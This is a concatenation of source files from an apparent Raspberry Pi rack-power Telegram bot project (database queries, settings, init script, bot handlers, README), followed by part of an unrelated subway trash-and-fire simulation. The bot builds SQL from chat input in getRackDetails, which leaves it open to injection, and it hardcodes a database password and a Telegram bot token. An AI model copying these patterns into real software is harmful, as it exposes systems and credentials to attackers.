'is_active':row[\"is_active\"],\n 'is_staff':row[\"is_staff\"],\n 'bot_chat_alert':row[\"bot_chat_alert\"],\n })\n\n return usr\n \n \n except Exception as inst:\n logger.error(ANSI_fail('DBClass.checkUsr\\n%s'%str(inst)))\n return []\n conn.close()\n\n\n\n\n\n def getRPI(self):\n '''get all rpi from DB'''\n try:\n conn=self._connect()\n cursor=conn.cursor(dictionary=True)\n querystr=\"SELECT T_EQUIPMENT.name,IP,row FROM KATE.T_EQUIPMENT JOIN T_NET on (T_EQUIPMENT_id_equipment = id_equipment) JOIN T_EQUIP_TYPE on (id_type = T_EQUIP_TYPE_id_type) JOIN T_LOCATION on (T_LOCATION_id_location = id_location) where T_EQUIP_TYPE.name = 'RPI'\"\n\n cursor.execute(querystr)\n queryres=cursor.fetchall()\n conn.close()\n rpi=[]\n for row in queryres:\n rpi.append({'id':row[\"name\"],'ip':row[\"IP\"],'row':row[\"row\"]})\n\n return rpi\n \n \n \n except Exception as inst:\n logger.error(ANSI_fail('DBClass.getRPI\\n%s'%str(inst)))\n return []\n conn.close()\n\n\n\n\n def getUsrs(self):\n '''get allowed users from DB'''\n try:\n conn=self._connect()\n cursor=conn.cursor(dictionary=True)\n querystr=\"SELECT password,is_superuser,username,first_name,last_name,is_staff,is_active,bot_chat_id,bot_chat_alert FROM auth_user where bot_chat_id != 0\"\n\n cursor.execute(querystr)\n queryres=cursor.fetchall()\n conn.close()\n \n usr=[]\n for row in queryres:\n usr.append({'username':row[\"username\"],\n 'first_name':row[\"first_name\"],\n 'last_name':row[\"last_name\"],\n 'password':row[\"password\"],\n 'is_superuser':row[\"is_superuser\"],\n 'is_active':row[\"is_active\"],\n 'is_staff':row[\"is_staff\"],\n 'bot_chat_id':row[\"bot_chat_id\"],\n 'bot_chat_alert':row[\"bot_chat_alert\"],\n })\n\n return usr\n \n except Exception as inst:\n logger.error(ANSI_fail('DBClass.getUsrs\\n%s'%str(inst)))\n return []\n conn.close()\n\n\n\n def getRackDetails(self,row,rack):\n '''get rack details from DB'''\n try:\n conn=self._connect()\n cursor=conn.cursor(dictionary=True)\n querystr =\"SELECT IP,pin,row,rack FROM KATE.T_POWER_MNGMT join T_LOCATION on (T_LOCATION_id_location = id_location) join T_NET using (T_EQUIPMENT_id_equipment) where row = \"+row+\" and rack = '\"+rack+\"'\"\n cursor.execute(querystr)\n queryres=cursor.fetchall()\n conn.close()\n \n rack=[]\n for r in queryres:\n rack.append({'ip':r[\"IP\"],\n 'pin':r[\"pin\"],\n 'row':r[\"row\"],\n 'rack':r[\"rack\"],\n })\n\n return rack\n\n \n \n \n except Exception as inst:\n logger.error(ANSI_fail('DBClass.getRackDetails\\n%s'%str(inst)))\n return []\n conn.close()\n\n\n\n" }, { "alpha_fraction": 0.5038546323776245, "alphanum_fraction": 0.5203744769096375, "avg_line_length": 20.85542106628418, "blob_id": "b6a563f78dd4a5c3a053892163568522981b9653", "content_id": "398c8df31aa391122b9f8ea736ae4fcefb825dd7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1816, "license_type": "no_license", "max_line_length": 70, "num_lines": 83, "path": "/_settings.py", "repo_name": "flavioipp/RPIBot", "src_encoding": "UTF-8", "text": "import os\nimport json\nimport logging\nimport logging.config\n\n\nPKG_DIR = os.path.dirname(os.path.abspath(__file__))\nBASE_DIR = PKG_DIR\n\n\nDATABASE = {\n 'NAME': 'KATE' ,\n\t'USER': 'smosql' ,\n\t'PASSWORD' : 'sm@ptics' ,\n\t'PORT': '3306' ,\n\t'HOST': '151.98.52.73'\n }\n\nclass rpi():\n def __init__(self):\n print('\\nRPIBot RPI Object initialization...')\n self.rpi = None\n with open('%s/rpi.json'%PKG_DIR,\"r\",encoding=\"utf-8\") as fd:\n self.rpi = json.load(fd)\n\n\n def getRPI(self):\n return self.rpi\n\n\n\nclass _logConst():\n\n #LOG_DIR = BASE_DIR + '/logs'\n LOG_DIR = '/var/log/RPIBOT'\n LOG_SETTINGS = BASE_DIR + '/logging.json'\n ERROR_LOG = LOG_DIR +'/error.log'\n MAIN_LOG = LOG_DIR +'/main.log'\n\nclass frmkLog():\n \n def __init__(self):\n c=_logConst()\n print('\\nRPIBot Check package base dir: %s\\n'%PKG_DIR)\n with open(c.LOG_SETTINGS,\"r\",encoding=\"utf-8\") as fd:\n D = json.load(fd)\n D.setdefault('version',1)\n logging.config.dictConfig(D)\n\n def getLogger(self,name):\n \n return logging.getLogger(name)\n\n'''\nclass botUsers():\n\n def __init__(self):\n print('\\nRPIBot Users initialization...')\n self.users = None\n with open('%s/users.json'%PKG_DIR,\"r\",encoding=\"utf-8\") as fd:\n self.users = json.load(fd)\n\n\n def getUsers(self):\n return self.users\n\n\nclass DB():\n\n def __init__(self):\n self._DATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'KATE' ,\n\t 'USER': 'smosql' ,\n\t 'PASSWORD' : 'sm@ptics' ,\n\t 'PORT': '3306' ,\n\t 'HOST': '151.98.52.73'\n }\n }\n def getDB(self):\n return self._DATABASES\n'''\n\n\n" }, { "alpha_fraction": 0.5811846852302551, "alphanum_fraction": 0.5951219797134399, "avg_line_length": 16.475608825683594, "blob_id": "c8b68cd00caa04e9744f5f249efe3e3c59f89d3f", "content_id": "e45b0c2b70f93ba0720c0d088f8fba910a09bf38", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1435, "license_type": "no_license", "max_line_length": 65, "num_lines": 82, "path": "/initd", "repo_name": "flavioipp/RPIBot", "src_encoding": "UTF-8", "text": "#!/bin/sh\n# Start/stop the servergpio daemon.\n#\n### BEGIN INIT INFO\n# Provides: rpibot\n# Required-Start: $local_fs $network $named $time $syslog\n# Required-Stop: $local_fs $network $named $time $syslog\n# Default-Start: 2 3 4 5\n# Default-Stop: 0 1 6\n# Short-Description: Regular background program processing daemon\n# Description: start telegram bot for rpi management \n\n### END INIT INFO\n\n\n#. /lib/lsb/init-functions\n. /etc/init.d/functions\n\nPATH=/bin:/usr/bin:/sbin:/usr/sbin\nDESC=\"RPI Telegram bot service\"\nNAME=rpibot\nSCRIPT=/tools/smotools/PACKAGES/RPIBot/telegrambot.py\nDAEMON='/tools/smotools/PACKAGES/RPIBot/telegrambot.py &'\nlockfile=/var/lock/subsys/telegrambot\nSCRIPTNAME=/etc/init.d/\"$NAME\"\nRUNAS1=root\n\nprog=$(basename $SCRIPT)\n\ntest -f $SCRIPT || exit 0\n\n\nrh_status() {\n status $prog\n}\n\n\n\nstart() {\n [ -x $SCRIPT ] || exit 5\n echo -n $\"Starting $prog: \"\n daemon $DAEMON\n retval=$?\n echo\n [ $retval -eq 0 ] && touch $lockfile\n return $retval\n}\n\n\nstop() {\n echo -n $\"Stopping $prog: \"\n killproc $prog -QUIT\n retval=$?\n echo\n [ $retval -eq 0 ] && rm -f $lockfile\n return $retval\n}\n\n\n\n\ncase \"$1\" in\n start)\n rh_status_q && exit 0\n $1\n ;;\n stop)\n rh_status_q || exit 0\n $1\n ;; \n status)\n rh_status\n ;;\n *)\n echo $\"Usage: $0 {start|stop|status}\"\n exit 2\nesac\n\n\n\n\nexit 0\n\n\n" }, { "alpha_fraction": 0.6206896305084229, "alphanum_fraction": 0.6587395668029785, "avg_line_length": 18.090909957885742, "blob_id": "c8cdedc9965024f4afa39efd3ba38f4aebb52e6b", "content_id": "23ef3d88116c5bd58204b13a347c63a559371c85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 841, "license_type": "no_license", "max_line_length": 59, "num_lines": 44, "path": "/ansicolors.py", "repo_name": "flavioipp/RPIBot", "src_encoding": "UTF-8", "text": "\"\"\"\n.. module::ansicolors\n :platform: Unix\n :synopsis:Class definition for ANSI COLORED Output\n\n.. moduleauthor:: Flavio Ippolito <[email protected]>\n\n\"\"\"\n\nclass bcolors:\n\t\"\"\"\n\tthis class implements the ANSI COLOR escape codes\n\t\"\"\"\n\tONBLUE = '\\033[34m'\n\tOKGREEN = '\\033[32m'\n\tWARNING = '\\033[33m'\n\tFAIL = '\\033[31m'\n\tENDC = '\\033[0m'\n\tBOLD = '\\033[1m'\n\tUNDERLINE = '\\033[4m'\n\ndef ANSI_warning(str):\n\t\"\"\"\n\treturn str in warning format\n\t\"\"\"\n\treturn bcolors.WARNING + bcolors.BOLD + str + bcolors.ENDC\n\ndef ANSI_fail(str):\n\t\"\"\"\n\treturn str in fail format\n\t\"\"\"\n\treturn bcolors.FAIL + bcolors.BOLD + str + bcolors.ENDC\n\ndef ANSI_info(str):\n\t\"\"\"\n\treturn str in info format\n\t\"\"\"\n\treturn bcolors.ONBLUE + bcolors.BOLD + str + bcolors.ENDC\n\ndef ANSI_success(str):\n\t\"\"\"\n\treturn str in okgreen format\n\t\"\"\"\n\treturn bcolors.OKGREEN + bcolors.BOLD + str + bcolors.ENDC\n\n" }, { "alpha_fraction": 0.5451878905296326, "alphanum_fraction": 0.5648029446601868, "avg_line_length": 33.85303497314453, "blob_id": "aec0d232d5c5a5d87ef01bee8e26a20056ca57f4", "content_id": "84055794f345c7160a7882f745a3624846d74f00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10910, "license_type": "no_license", "max_line_length": 201, "num_lines": 313, "path": "/telegrambot.py", "repo_name": "flavioipp/RPIBot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport os\nimport sys\nimport random\nimport telepot, telepot.api\nfrom time import sleep\nimport urllib3\nimport xmlrpc.client\nimport json\nimport re\nimport mysql.connector\nimport socket\n\n\nTOKEN='244831841:AAH1k5-ewhkDuRkYyGIknVxsltBBtSpPNAA'\nIMG_NAME='none'\n\nhappy = u'\\U0001F60A'\ntool = u'\\U0001F527'\nko = u'\\U0001F534'\nok = u'\\U0001F535'\nalert = u'\\U000026A0'\ntemperature = u'\\U0001F321'\ninfo = u'\\U00002139'\ndone = u'\\U00002714'\n\nPOLLING_TIME=60\nTEMP_TH = 70.1\nSOCKET_TIMEOUT=10\nmyproxy_url='http://135.245.192.7:8000'\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nprint(BASE_DIR)\nsys.path.append(BASE_DIR + '/..')\n\nfrom RPIBot import frmkLog\nfrom RPIBot.DBClass import rpiDB\n\n#classes to be used in case of getting data from local json files\n#from RPIBot import DB\n#from RPIBot import rpi\n#from RPIBot import botUsers\n#usrList= botUsers()\n#myrpi = rpi()\n\n\n# init logging\ncurrLog=frmkLog()\nlogger = currLog.getLogger(os.path.basename(__file__))\n\n#init DB Instance\nhostDB=rpiDB()\n\n\n\n\ndef checkRPI(rpilist):\n ''' check RPI availability for each rpi in rpilist '''\n res=[]\n fl = True\n socket.setdefaulttimeout(SOCKET_TIMEOUT)\n for rpi in rpilist:\n logger.info('%s : %s'%(str(rpi['id']),str(rpi['ip'])))\n try:\n s=xmlrpc.client.ServerProxy('http://%s:8080'%str(rpi['ip']))\n logger.info(s.checkServer())\n res.append('%s %s (Row %i): %s'%(ok,str(rpi['id']),rpi['row'],str(rpi['ip'])))\n except Exception as xxx:\n logger.error(str(xxx))\n fl = False\n res.append('%s %s (Row %i): %s'%(ko,str(rpi['id']),rpi['row'],str(rpi['ip'])))\n socket.setdefaulttimeout(None)\n return (res,fl)\n \n \n \n\n\ndef checkTemperature(rpilist):\n ''' check RPI temperature for each rpi in rpilist '''\n res=[]\n res1=[]\n fl = True\n socket.setdefaulttimeout(SOCKET_TIMEOUT)\n for rpi in rpilist:\n logger.info('%s : %s'%(str(rpi['id']),str(rpi['ip'])))\n try:\n s=xmlrpc.client.ServerProxy('http://%s:8080'%str(rpi['ip']))\n temp=s.getTemperature().replace('\"','')\n logger.info('%s (Row %i) Temperature: %s ^C'%(str(rpi['id']),rpi['row'],temp))\n if float(temp) > TEMP_TH:\n fl = False\n res1.append('%s %s (Row %i): KO'%(temperature,str(rpi['id']),rpi['row']))\n else:\n res1.append('%s %s (Row %i): OK'%(temperature,str(rpi['id']),rpi['row'])) \n res.append('%s %s (Row %i): %s C'%(temperature,str(rpi['id']),rpi['row'],temp))\n except Exception as xxx:\n logger.error(str(xxx))\n res.append('%s %s (Row %i): NA'%(temperature,str(rpi['id']),rpi['row']))\n res1.append('%s %s (Row %i): OK'%(temperature,str(rpi['id']),rpi['row']))\n socket.setdefaulttimeout(None)\n return (res,res1,fl)\n\n\n\ndef getRStatus(rpilist):\n\t'''get Racks status for each rpi in rpilist'''\n\tres=[]\n\trows={}\n\ttotal=0\n\ttotON=0\n\ttotOFF=0\n\tsocket.setdefaulttimeout(SOCKET_TIMEOUT)\n\tfor rpi in rpilist:\n\t\tif not rpi['row'] in rows: rows.update({rpi['row']:[0,0]})\n\t\tcount=0\n\t\tcountON=0\n\t\tcountOFF=0\n\t\tlogger.info(' Get Rack status from %s : %s'%(str(rpi['id']),str(rpi['ip'])))\n\t\ttry:\t\t\n\t\t\ts=xmlrpc.client.ServerProxy('http://%s:8080'%str(rpi['ip']))\n\t\t\trstatus=json.loads(s.getGPIOStatus())\n\t\t\tfor el in rstatus:\n\t\t\t\tcount +=1\n\t\t\t\tif el == 1:\n\t\t\t\t\tcountON +=1\n\t\t\t\telse:\n\t\t\t\t\tcountOFF +=1\n\t\t\ttotal += count\n\t\t\ttotOFF += countOFF\n\t\t\ttotON += countON\n\t\t\trows[rpi['row']][0]+=countON\n\t\t\trows[rpi['row']][1]+=countOFF\n\t\t\tlogger.info('%i Racks returned: Racks ON %i. Racks OFF %i'%(count,countON,countOFF))\n\t\t\tif count > 0:res.append('%s. %s\\tRacks:\\t %i %s / %i %s'%(str(rpi['id']),count,countON,ok,countOFF,ko))\t\n\t\texcept Exception as xxx:\n\t\t\tlogger.error(str(xxx))\n\tsocket.setdefaulttimeout(None)\n\tlogger.info(rows)\n\treturn (res,total,totON,totOFF,rows)\n\n\n\n\ndef setRack(rpi,pin,status,modifier):\n ''' set rack status to on/off '''\n\n socket.setdefaulttimeout(SOCKET_TIMEOUT)\n res = False\n logger.info('set pin %s to %s (RPI %s)'%(str(pin),status,rpi))\n try:\n s=xmlrpc.client.ServerProxy('http://%s:8080'%str(rpi))\n s.setGPIO([{'gpio':pin,'status':status,'modifier':modifier}])\n res = True\n except Exception as xxx:\n logger.error(str(xxx))\n socket.setdefaulttimeout(None)\n return res\n\n\n\n\n\ndef handle(msg):\n '''message handler for all bot coming messages'''\n global myrpi\n logger.info(msg)\n chat_id=msg['chat']['id']\n message=msg['text']\n user=msg['chat']['first_name']\n botuser=msg['chat']['first_name']\n user=hostDB.checkUsr(chat_id)[0]\n\n if user:\n if message =='/start':\n bot.sendMessage(chat_id,'%s Hello from RPI Bot\\nPlease send /help command\\nfor list of supported commands'%happy)\n\n elif message == '/help':\n bot.sendMessage(chat_id,'%s List of supported commands \\n/start\\n/checkrpi\\n/getrpitemp\\n/getracksbyrpi\\n/getracksbyrow\\n/seton Rack Row (Rxx yy[A,B])\\n/setoff Rack Row (Rxx yy[A,B])'%info)\n\n elif message == '/checkrpi':\n statusicon = ok\n (res,fl)=checkRPI(myrpi)\n logger.info(str(res))\n mystr=''\n for elem in res: mystr = '%s%s\\n'%(mystr,elem)\n if not fl:statusicon = ko\n bot.sendMessage(chat_id,'%s RPI status: %s\\n\\n%s'%(tool,statusicon,mystr))\n\n elif message == '/getrpitemp':\n statusicon = ok\n (res,res1,fl)=checkTemperature(myrpi)\n logger.info(str(res))\n mystr=''\n for elem in res: mystr = '%s%s\\n'%(mystr,elem)\n if not fl:statusicon = ko\n bot.sendMessage(chat_id,'%s RPI Temperature:\\n\\n%s'%(tool,mystr))\n \n elif message == '/getracksbyrpi':\n (res,count,totON,totOFF,rows)=getRStatus(myrpi)\n #(res,count,totON,totOFF)=getRStatus([{\"id\":1,\"ip\":\"151.98.130.155\"}])\n logger.info(str(res))\n mystr=''\n for elem in res: mystr = '%s%s\\n'%(mystr,elem)\n bot.sendMessage(chat_id,'%s Rack Status:\\n\\nTOTAL RACKS RETURNED: %i\\nStatus: %i %s / %i %s\\n\\n%s'%(tool,count,totON,ok,totOFF,ko,mystr))\n\n elif message == '/getracksbyrow':\n (res,count,totON,totOFF,rows)=getRStatus(myrpi)\n #(res,count,totON,totOFF)=getRStatus([{\"id\":1,\"ip\":\"151.98.130.155\"}])\n logger.info(str(res))\n mystr=''\n for elem in rows: mystr = '%sRow %i: %i %s / %i %s\\n'%(mystr,elem,rows[elem][0],ok,rows[elem][1],ko)\n bot.sendMessage(chat_id,'%s Rack Status:\\n\\nTOTAL RACKS RETURNED: %i\\nStatus: %i %s / %i %s\\n\\n%s'%(tool,count,totON,ok,totOFF,ko,mystr))\n\n elif message == '/seton': bot.sendMessage(chat_id,'%s Bad command format\\nUse /seton Rxx yy[A,B]\\n i.e. /seton R22 15A'%info) \n elif re.match('/seton R[0-9]+ [0-9]+[AB]',message):\n res=message.split()\n rackd=hostDB.getRackDetails(res[1].replace('R',''),res[2])\n logger.info(rackd)\n if rackd:\n rpi = rackd[0]['ip']\n pin = rackd[0]['pin']\n row = rackd[0]['row']\n rack = rackd[0]['rack']\n bot.sendMessage(chat_id,'Setting to ON Row %s, rack %s...'%(row,rack))\n if setRack(rpi,pin,'ON',user['username']):\n bot.sendMessage(chat_id,'%s ...Done!!!'%(done))\n else:\n bot.sendMessage(chat_id,'%s ...ERROR!!!'%(alert))\n else:\n bot.sendMessage(chat_id,'Row %s, rack %s not found in DB\\nMaybe not under RPI control?'%(res[1],res[2]))\n \n elif message == '/setoff': bot.sendMessage(chat_id,'%s Bad command format\\nUse /setoff Rxx yy[A,B]\\n i.e. /setoff R22 15A'%info) \n elif re.match('/setoff R[0-9]+ [0-9]+[AB]',message):\n res=message.split()\n rackd=hostDB.getRackDetails(res[1].replace('R',''),res[2])\n logger.info(rackd)\n if rackd:\n rpi = rackd[0]['ip']\n pin = rackd[0]['pin']\n row = rackd[0]['row']\n rack = rackd[0]['rack']\n bot.sendMessage(chat_id,'Setting to OFF Row %s, rack %s...'%(row,rack))\n if setRack(rpi,pin,'OFF',user['username']):\n bot.sendMessage(chat_id,'%s ...Done!!!'%(done))\n else:\n bot.sendMessage(chat_id,'%s ...ERROR!!!'%(alert))\n else:\n bot.sendMessage(chat_id,'Row %s, rack %s not found in DB\\nMaybe not under RPI control?'%(res[1],res[2]))\n \n \n else:\n bot.sendMessage(chat_id,'%s wrong command'%message)\n else:\n bot.sendMessage(chat_id,'Hi %s. You are not authorized.\\nPlease contact Bot administrator.'%botuser)\n\n\n\n\ndef manageAlerts():\n #get actual rpi status\n global res0,fl0,rest0,res1t0,flt0\n global myrpi\n if any(usr['bot_chat_alert'] == 1 for usr in hostDB.getUsrs()):\n (res,fl)=checkRPI(myrpi)\n if not fl:\n #check RPI has at least one RPI Failed\n #compare with previous situation\n \n if res != res0:\n # send maessage just if different\n mystr = ''\n for elem in res: mystr = '%s%s\\n'%(mystr,elem)\n for usr in hostDB.getUsrs():\n if usr['bot_chat_alert']:\n bot.sendMessage(usr['bot_chat_id'],'%s ALERT\\nSome RPI are not responding:\\n%s'%(alert,mystr))\n (res0,fl0) = (res,fl)\n \n (rest,res1t,flt)=checkTemperature(myrpi)\n if not flt:\n #at least one RPI crossed the temperature threshold\n #comparing with previus situation\n \n if res1t != res1t0:\n #we have to send a message (situation has changed)\n mystr = ''\n for elem in rest: mystr = '%s%s\\n'%(mystr,elem)\n for usr in hostDB.getUsrs():\n if usr['bot_chat_alert']:\n bot.sendMessage(usr['bot_chat_id'],'%s ALERT\\nSome RPI are in over Temperature:\\n%s'%(alert,mystr))\n\n\n (rest0,res1t0,flt0) = (rest,res1t,flt)\n \n \n \n\nif __name__ == '__main__':\n global res0,fl0,rest0,res1t0,flt0\n myrpi = hostDB.getRPI()\n \n\n telepot.api._pools={'default':urllib3.ProxyManager(proxy_url=myproxy_url,num_pools=3,maxsize=10,retries=False,timeout=30),}\n telepot.api._onetime_pool_spec=(urllib3.ProxyManager,dict(proxy_url=myproxy_url, num_pools=1,maxsize=1,retries=False,timeout=30))\n \n bot = telepot.Bot(TOKEN)\n bot.message_loop(handle)\n\n logger.info('Start polling time %i seconds'%POLLING_TIME)\n (res0,fl0)=checkRPI(myrpi)\n (rest0,res1t0,flt0)=checkTemperature(myrpi)\n while 1:\n manageAlerts()\n sleep(POLLING_TIME)\n\n" }, { "alpha_fraction": 0.646835446357727, "alphanum_fraction": 0.6721519231796265, "avg_line_length": 13.924528121948242, "blob_id": "eb4a3cd52eaf966680dc9028599eed06384f6488", "content_id": "c1ff58c1b4e6579e2fe98a8c6b3ff07fd13c536d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 790, "license_type": "no_license", "max_line_length": 62, "num_lines": 53, "path": "/README.md", "repo_name": "flavioipp/RPIBot", "src_encoding": "UTF-8", "text": "# RPI Telegram BOT\ntelegram BOT for RPI Power Management control\n\nInstallation\n--------------------------\n\n1. #### downoad the require python packages\n\n\t>sudo apt-get update\n\n\t>sudo apt-get install python3-mysql.connector python3-pexpect\n\t\n\t>sudo pip3 install telepot\n\n\n2. #### Create the /srv folder\n\t\n\t>sudo mkdir /srv\n\n\n3. #### Get the main code\n\n\t> cd /srv\n\n\t> sudo git clone [email protected]:Automation/RPIBot.git\n\n\nConfiguration\n--------------------------\n\n\n\n- Create the log directory\n\n\t>sudo mkdir /var/log/RPIBOT\n\n\t>sudo chmod 777 -R /var/log/RPIBOT\n\n\n- Copy the initialization service file\n\n\t>sudo cp /srv/xmlrpc/initd /etc/init.d/rpibot\n\n\t>sudo chmod +x /etc/init.d/rpibot\n\n\n- Enable the service\n\n\t>sudo systemctl enable rpibot\n\n- Start the service\n\n\t>sudo service rpibot start" } ]
7
mtlynch3/MTA-Simulation
https://github.com/mtlynch3/MTA-Simulation
85f24360865d4ee2deff9571cbe9ec03c5a22bf9
8a9fea0e3e65400cb19e30d3095ff78c34707e41
28adbfeef1404435770e6726a9328c73ae3c3401
refs/heads/master
2020-03-19T08:19:43.208170
2018-06-05T15:47:35
2018-06-05T15:47:35
136,195,774
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6007484197616577, "alphanum_fraction": 0.6256133317947388, "avg_line_length": 45.593021392822266, "blob_id": "7dab2d48b8c089842094ef8d6fe140d3db35ae88", "content_id": "5b9e5618f80850d2f1e16bdf49b5019b948487cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12025, "license_type": "no_license", "max_line_length": 133, "num_lines": 258, "path": "/mtasim/sync/sync2.py", "repo_name": "mtlynch3/MTA-Simulation", "src_encoding": "UTF-8", "text": "import math\nimport random\nimport statistics\nfrom collections import deque\nimport numpy\n\n\nclass Station:\n\n def __init__(self, annual_ridership, num_track_beds, trash_threshold, cleaning_rate):\n # SHARED\n self.annual_ridership = annual_ridership\n self.num_track_beds = num_track_beds\n\n # SPECIFIC: demand sim\n self.trash_threshold = trash_threshold\n\n # SPECIFIC: baseline sim\n self.cleaning_rate = cleaning_rate\n self.next_scheduled_cleaning = 0.0\n\n # SHARED\n # (1.0/100000000) chosen to yield rate of approximately 1/5\n # i.e. 1 unit of trash arriving every five minutes at the BUSIEST stations\n self.trash_arrival_rate_scalar = 1.0/100000000\n # TODO: Make trash arrival rate dependent on both annual ridership AND num_track_beds, not just annual ridership\n self.trash_arrival_rate = self.trash_arrival_rate_scalar * (annual_ridership/num_track_beds)\n # Choose fire_arrival_rate_scalar to yield approximately two fires per year at the busiest stations\n self.fire_arrival_rate_scalar = 1.0/1000000000\n\n # SHARED\n self.next_fire_arrival_uniform = 0.0\n self.next_trash_arrival = 0.0\n\n # SHARED\n # Units: minutes\n self.time = 0.0\n self.maintenance_delay = 0.0\n\n # SPECIFIC: baseline sim\n self.aggregate_trash_baseline = 0.0\n self.num_cleanings_baseline = 0\n self.num_scheduled_cleanings = 0\n self.num_fires_baseline = 0\n self.next_fire_arrival_baseline = 0.0\n self.fire_arrival_rate_baseline = 0.0\n\n # SPECIFIC: demand sim\n self.aggregate_trash_alt = 0.0\n self.num_cleanings_alt = 0\n self.num_threshold_cleanings = 0\n self.num_fires_alt = 0\n self.next_fire_arrival_alt = 0.0\n self.fire_arrival_rate_alt = 0.0\n\n def initialize_simulation(self):\n # initialize time\n self.time = 0.0\n\n # initialize values for baseline sim\n self.aggregate_trash_baseline = 0.0\n self.num_cleanings_baseline = 0\n self.num_scheduled_cleanings = 0\n self.num_fires_baseline = 0\n\n # initialize values for alt sim\n self.aggregate_trash_alt = 0.0\n self.num_cleanings_alt = 0\n self.num_threshold_cleanings = 0\n self.num_fires_alt = 0\n\n # to be used for fire_arrivals\n self.next_fire_arrival_uniform = 0.0\n # initialize residual clocks\n self.next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.next_fire_arrival_baseline = math.inf\n self.next_fire_arrival_alt = math.inf\n self.next_scheduled_cleaning = self.cleaning_rate\n\n def print_state(self):\n # TODO: Add alt stuff\n print(\"--------------------------------\")\n print(\"Current Time: \" + str(self.time))\n print(\"Aggregate Trash: \" + str(self.aggregate_trash_baseline))\n print(\"Time until next trash: \" + str(self.next_trash_arrival))\n print(\"Time until next cleaning: \" + str(self.next_scheduled_cleaning))\n print(\"Time until next fire: \" + str(self.next_fire_arrival_baseline))\n print(\"\\nFire arrival rate: \" + str(self.fire_arrival_rate_baseline))\n print(\"\\nNumber of cleanings to date:\" + str(self.num_cleanings_baseline))\n print(\"Number of scheduled cleanings to date:\" + str(self.num_scheduled_cleanings))\n print(\"Number of fires to date:\" + str(self.num_fires_baseline))\n print(\"--------------------------------\\n\\n\")\n\n def print_year_simulation_summary(self):\n print(\"--------------------------------\")\n print(\"Current Time: \" + str(self.time))\n print(\"Baseline: Number of cleanings to date:\" + str(self.num_cleanings_baseline))\n print(\"Baseline: Number of scheduled cleanings to date:\" + str(self.num_scheduled_cleanings))\n print(\"Baseline: Number of fires to date:\" + str(self.num_fires_baseline))\n print(\"Alt: Number of cleanings to date:\" + str(self.num_cleanings_alt))\n print(\"Alt: Number of threshold cleanings to date:\" + str(self.num_threshold_cleanings))\n print(\"Alt: Number of fires to date:\" + str(self.num_fires_alt))\n print(\"--------------------------------\\n\\n\")\n\n def recalculate_next_fire_arrival(self):\n # set fire arrival rate based on aggregate trash\n self.fire_arrival_rate_baseline = self.fire_arrival_rate_scalar * self.aggregate_trash_baseline\n self.fire_arrival_rate_alt = self.fire_arrival_rate_scalar * self.aggregate_trash_alt\n # generate one uniform random variable that will be used to calc the exponential for both sims\n self.next_fire_arrival_uniform = numpy.random.uniform(0.0,1.0)\n # set both sims next fire based on the uniform and their respective levels of aggregate trash\n # or set them to infinity if there is no trash in their station\n if self.aggregate_trash_baseline == 0.0:\n self.next_fire_arrival_baseline = math.inf\n else:\n self.next_fire_arrival_baseline = (-1.0 / self.fire_arrival_rate_baseline) * math.log(1 - self.next_fire_arrival_uniform)\n if self.aggregate_trash_alt == 0.0:\n self.next_fire_arrival_alt = math.inf\n else:\n self.next_fire_arrival_alt = (-1.0 / self.fire_arrival_rate_alt) * math.log(1 - self.next_fire_arrival_uniform)\n\n def clean_baseline(self, fire):\n self.num_cleanings_baseline = self.num_cleanings_baseline + 1\n self.aggregate_trash_baseline = 0.0\n # Include some time delay for the cleaning and add to productivity loss\n # Should depend on if fire == True\n # set new residual clock for baseline_station_reopens\n if not fire:\n self.num_scheduled_cleanings = self.num_scheduled_cleanings + 1\n self.next_fire_arrival_baseline = math.inf\n\n def clean_alt(self, fire):\n self.num_cleanings_alt = self.num_cleanings_alt + 1\n self.aggregate_trash_alt = 0.0\n # Include some time delay for the cleaning and add to productivity loss\n # Should depend on if fire == True\n # set new residual clock for alt_station_reopense\n if not fire:\n self.num_threshold_cleanings = self.num_threshold_cleanings + 1\n self.next_fire_arrival_alt = math.inf\n\n def simulate(self, end_time):\n # initialize start of simulation\n self.initialize_simulation()\n while self.time < end_time:\n if self.next_trash_arrival == min(self.next_trash_arrival, self.next_scheduled_cleaning,\n self.next_fire_arrival_baseline, self.next_fire_arrival_alt):\n time_elapsed = self.next_trash_arrival\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n self.next_trash_arrival = random.expovariate(self.trash_arrival_rate)\n self.time = self.time + time_elapsed\n # TODO: In future, add check for if station is being cleaned before incrementing aggregate trash\n # self.aggregate_trash_baseline = self.aggregate_trash_baseline + 1\n # self.aggregate_trash_alt = self.aggregate_trash_alt + 1\n additional_trash = (random.random()+0.5)\n self.aggregate_trash_baseline = self.aggregate_trash_baseline + additional_trash\n self.aggregate_trash_alt = self.aggregate_trash_alt + additional_trash\n if self.aggregate_trash_alt > self.trash_threshold:\n print(\"tct: \" + str(self.time))\n self.clean_alt(False)\n # We ALWAYS need to recalculate next fire arrival upon trash arrival\n self.recalculate_next_fire_arrival()\n elif self.next_scheduled_cleaning == min(self.next_trash_arrival, self.next_scheduled_cleaning,\n self.next_fire_arrival_baseline, self.next_fire_arrival_alt):\n time_elapsed = self.next_scheduled_cleaning\n self.next_trash_arrival = self.next_trash_arrival - time_elapsed\n self.next_fire_arrival_alt = self.next_fire_arrival_alt - time_elapsed\n self.next_scheduled_cleaning = self.cleaning_rate\n self.time = self.time + time_elapsed\n print(\"scat: \" + str(self.aggregate_trash_baseline))\n self.clean_baseline(False)\n elif self.next_fire_arrival_baseline == min(self.next_trash_arrival, self.next_scheduled_cleaning,\n self.next_fire_arrival_baseline, self.next_fire_arrival_alt):\n nfab = self.next_fire_arrival_baseline\n nfaa = self.next_fire_arrival_alt\n time_elapsed = self.next_fire_arrival_baseline\n self.next_scheduled_cleaning = self.next_scheduled_cleaning - time_elapsed\n self.next_trash_arrival = self.next_trash_arrival - 